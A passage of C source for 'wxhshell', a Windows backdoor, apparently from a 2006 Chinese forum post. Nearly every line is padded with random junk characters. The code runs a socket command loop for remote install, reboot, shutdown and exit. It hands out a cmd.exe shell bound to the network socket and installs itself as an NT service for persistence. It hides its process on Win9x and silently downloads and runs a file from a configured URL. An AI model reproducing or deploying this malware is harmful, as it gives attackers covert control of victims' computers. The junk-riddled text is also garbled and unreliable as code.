    switch(cmd[0]) { 5%#V>|@e#  
   nPRv.h  
  // 帮助 xJ(}?0h-X  
  case '?': { n8RE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a@ v}j&  
    break; O>tz;RU  
  } ,"xr^@W  
  // 安装 Wq"5-U;:w  
  case 'i': { vvwQ/iJO4Q  
    if(Install()) \\d!z-NOk?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >gSiH#>  
    else 7mT iO?/y<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TYH4r q &  
    break; ,3P@5Ef  
    } S9mcThcZ  
  // 卸载 TR J5m?x  
  case 'r': { "IuHSjP  
    if(Uninstall()) &WV&_z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /y-eVu6  
    else fP>~ @^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _@L{]6P%V  
    break; $O[$<D%H  
    } AQU^7O  
  // 显示 wxhshell 所在路径 bZ-_Q  
  case 'p': { gCjW !t  
    char svExeFile[MAX_PATH]; L}hc|(:  
    strcpy(svExeFile,"\n\r"); (Z |Nz*<  
      strcat(svExeFile,ExeFile); : pkOZ+t  
        send(wsh,svExeFile,strlen(svExeFile),0); z?M_Cz;:J  
    break; }|9!|Q  
    } ?qJt4Om  
  // 重启 LLD#)Jl{?  
  case 'b': { $Le|4Hj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J-U5_>S  
    if(Boot(REBOOT)) (ptk!u6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  &peUC n  
    else { /BQB7vL  
    closesocket(wsh); A8T75?lL(  
    ExitThread(0); kW4B @Zh  
    } uWjSqyb:  
    break; &$NYZ3?9  
    } /3KPK4!m  
  // 关机 |x+g5~$  
  case 'd': { jxdX7aik  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $_Kcm"oj  
    if(Boot(SHUTDOWN)) Yj{-|2YzL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#N@0kIX.  
    else { m/bP`-/,  
    closesocket(wsh); EN-;@P9;C  
    ExitThread(0); H/''lI{k)  
    } k/,7FDO?m  
    break; yR$ld.[uf  
    } jzb%?8ZJ  
  // 获取shell |6o!]~&e$1  
  case 's': { L )53o!  
    CmdShell(wsh); (kmrWx= $  
    closesocket(wsh); !4vepa}Y  
    ExitThread(0); _)XZ;Q  
    break; !lxq,Whr{  
  } `)TuZP_)  
  // 退出 J>dIEW%u  
  case 'x': { EGw;IFj)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zXZXp~7)  
    CloseIt(wsh); ~kp,;!^vr  
    break; <X "_S'O  
    } 4d63+iM+}  
  // 离开 `_+%  
  case 'q': { pQCocy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PR3&LI;B*  
    closesocket(wsh); PdqyNn=  
    WSACleanup(); ZE:!>VXa87  
    exit(1); vJ9IDc|[  
    break; /I48jO^2  
        } {JlSfJw !  
  } _@@.VmZL  
  } sIzy/W0iV  
M{4U%lk  
  // 提示信息 b<27XZ@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Q!)bMv \  
} 36MNaQt'e  
  } %?m_;iv  
%Xe 74C"  
  return; {v}BtZ  
} Px?zih!6  
S~hoAl"xb/  
// shell模块句柄 i5#4@ 4aC  
int CmdShell(SOCKET sock) MG:eI?G/'  
{ ,lDOo+eE%:  
STARTUPINFO si; &2sfu0K  
ZeroMemory(&si,sizeof(si)); ^E&WgXlb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0)]?@"j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ["WWaCcx  
PROCESS_INFORMATION ProcessInfo; U28frRa  
char cmdline[]="cmd"; "_ H 9]}Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SsCV}[  
  return 0; i9eE/ .  
} ]{ir^[A6  
Cs'<;|r(  
// 自身启动模式 821;;]H  
int StartFromService(void) !,9 ;AMO -  
{ ")Qhg-l  
typedef struct ST1c`0e  
{ 61Wh %8-  
  DWORD ExitStatus; H (tT8Q5i  
  DWORD PebBaseAddress; 1O2jvt7M  
  DWORD AffinityMask; Sb.%B^O  
  DWORD BasePriority; yYiu69v  
  ULONG UniqueProcessId; V*gh"gZ<  
  ULONG InheritedFromUniqueProcessId; PVaqKCj:6W  
}   PROCESS_BASIC_INFORMATION; 5S 4 Bz  
88On{Kk.v  
PROCNTQSIP NtQueryInformationProcess; 9xOTR#B:_V  
Kh7C7[&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R1~wzy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \p#_D|s/Ep  
)x3p7t)#  
  HANDLE             hProcess; W!V-m  
  PROCESS_BASIC_INFORMATION pbi; ]([^(&2  
IG90mpLX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9`td_qh  
  if(NULL == hInst ) return 0; )Wy:I_F351  
ttA'RJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &AnWMFo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tE<'*o'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'fPDODE  
u]Z;Q_=  
  if (!NtQueryInformationProcess) return 0; 7O,!67+^~  
zs.@=Z"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d}<-G.&_  
  if(!hProcess) return 0; (bAw>  
d' l|oeS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2H/{OQ$  
mo"1|Q&  
  CloseHandle(hProcess); y\_k8RqE^  
#ri;{d^6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &l0 ,q=T  
if(hProcess==NULL) return 0; et=i@PB)  
l4ru0V8s7  
HMODULE hMod; 0i(c XB  
char procName[255]; ^s\T<;  
unsigned long cbNeeded; 4{ [d '-H5  
5c$\DZ(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `_SV1|=="8  
XD Q<28^  
  CloseHandle(hProcess); dP?QPky{9  
]G Blads  
if(strstr(procName,"services")) return 1; // 以服务启动 W<:x4gBa  
dOVu D(  
  return 0; // 注册表启动 9V|) 3GF  
} U(2=fKK;  
o~M=o:^nH  
// 主模块 sh*/wM  
int StartWxhshell(LPSTR lpCmdLine) kS4YxtvB  
{ 40G'3HOp  
  SOCKET wsl; x/ix%!8J  
BOOL val=TRUE; .Nk5W%7]=  
  int port=0; 1Gy [^  
  struct sockaddr_in door; B Q2N_*v  
/[A#iTe  
  if(wscfg.ws_autoins) Install(); K[S)e!\.  
&WZ&Tt/)/  
port=atoi(lpCmdLine); R>B6@|}?  
h@dy}Id  
if(port<=0) port=wscfg.ws_port; tLcw?aB  
j/;wxKW  
  WSADATA data; ]f>0P3O5&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pKU(4&BxX  
x@3cZd0j#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q CO,f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {E0\mZ2  
  door.sin_family = AF_INET; T+oOlug  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tIS.,CEQF  
  door.sin_port = htons(port); [I}z\3Z %  
ueEf>0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DFvGc`O4  
closesocket(wsl); "^)GnK +-  
return 1; b[J0+l\!"  
} /=g/{&3[a>  
Yl =-j  
  if(listen(wsl,2) == INVALID_SOCKET) { >[;L.  
closesocket(wsl); 8erG](  
return 1; +J#8w h  
} 5fRrd;  
  Wxhshell(wsl); A4(k<<xjE  
  WSACleanup(); frc9   
\VWgF)_  
return 0; \/b[V3<"  
F"1tPWn  
} Bg}l$?S  
BkP4.XRI  
// 以NT服务方式启动 ;*0nPhBw0>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2.vmZaKP  
{ CY.4>,  
DWORD   status = 0; iNc!z A4  
  DWORD   specificError = 0xfffffff; N6`U)=2o>h  
iCCe8nK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]E)\>Jb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'bsHoO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C DoD9Hq,  
  serviceStatus.dwWin32ExitCode     = 0; nw_s :  
  serviceStatus.dwServiceSpecificExitCode = 0; L4Kg%icz l  
  serviceStatus.dwCheckPoint       = 0; al9( 9)  
  serviceStatus.dwWaitHint       = 0; _%Yi ^^  
Uq~b4X$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P- +]4\  
  if (hServiceStatusHandle==0) return; xGFbh4H=8p  
O3mw5<%15  
status = GetLastError(); ;WAa4r>  
  if (status!=NO_ERROR) 4I .'./u  
{ OZC yg/K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jFip-=T{4  
    serviceStatus.dwCheckPoint       = 0;  e<(6x[_  
    serviceStatus.dwWaitHint       = 0; jGT|Xo>t  
    serviceStatus.dwWin32ExitCode     = status; hA;Ai:8  
    serviceStatus.dwServiceSpecificExitCode = specificError; c,O;B_}M]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +TX4,"  
    return; yFS{8yrRUU  
  } RR's W@  
#c":y5:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v+}${h9  
  serviceStatus.dwCheckPoint       = 0; __zHe-.m  
  serviceStatus.dwWaitHint       = 0; 9C=*>I27?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IZ\fvYp  
} *}T|T%L4)  
8_ o~0lb  
// 处理NT服务事件,比如:启动、停止 |5ge4,}0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3rd8mh&l  
{ EJRkFn8XG'  
switch(fdwControl) Ke=+D'=  
{ 6kMkFZ}+  
case SERVICE_CONTROL_STOP: aGfp"NtL  
  serviceStatus.dwWin32ExitCode = 0;  D[}^G5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t&NpC;>v  
  serviceStatus.dwCheckPoint   = 0; RWX!d54&  
  serviceStatus.dwWaitHint     = 0; :H&G}T(#  
  { a>rDJw:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z"mpw mv5  
  } Go^TTL   
  return; >< >%;HZ  
case SERVICE_CONTROL_PAUSE: h&n1}W+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s~bi#U;dF  
  break; ~I9o *cq  
case SERVICE_CONTROL_CONTINUE: "RM\<)IF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7=5eLc^  
  break; T\(k=0R M  
case SERVICE_CONTROL_INTERROGATE: @rA V;D%  
  break; W/b)OlG"2  
}; La3rX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k{=dV  
} 3~V .  
Lis>Qr  
// 标准应用程序主函数 13w(Tf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4T; <`{]  
{ $d!Vxm  
M] +.xo+A  
// 获取操作系统版本 bM5o-U#^ C  
OsIsNt=GetOsVer(); (xoYYO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uubIL +  
KV$4}{  
  // 从命令行安装 FvG?%IFM  
  if(strpbrk(lpCmdLine,"iI")) Install(); aWH  
;E[Q/ tr:w  
  // 下载执行文件 XogCq?_m  
if(wscfg.ws_downexe) { v;U5[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rGXUV`5Na  
  WinExec(wscfg.ws_filenam,SW_HIDE); RjTGm=1w  
} X,#~[%h$-=  
(vX< B h  
if(!OsIsNt) { vC `SD]  
// 如果时win9x,隐藏进程并且设置为注册表启动 LkP :l  
HideProc(); Xx%<rsA>F  
StartWxhshell(lpCmdLine); )J0h\ky  
} SD{)Sq  
else DW78SoyedZ  
  if(StartFromService()) j;7E+Yp  
  // 以服务方式启动 "P54|XIJ\  
  StartServiceCtrlDispatcher(DispatchTable); gzqp=I[%  
else YYPJ (o\  
  // 普通方式启动 b GI){0A  
  StartWxhshell(lpCmdLine); h3&|yS|  
Crg'AB?  
return 0; ?w'86^_z  
}
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只看该作者 1 发表于: 2006-10-10
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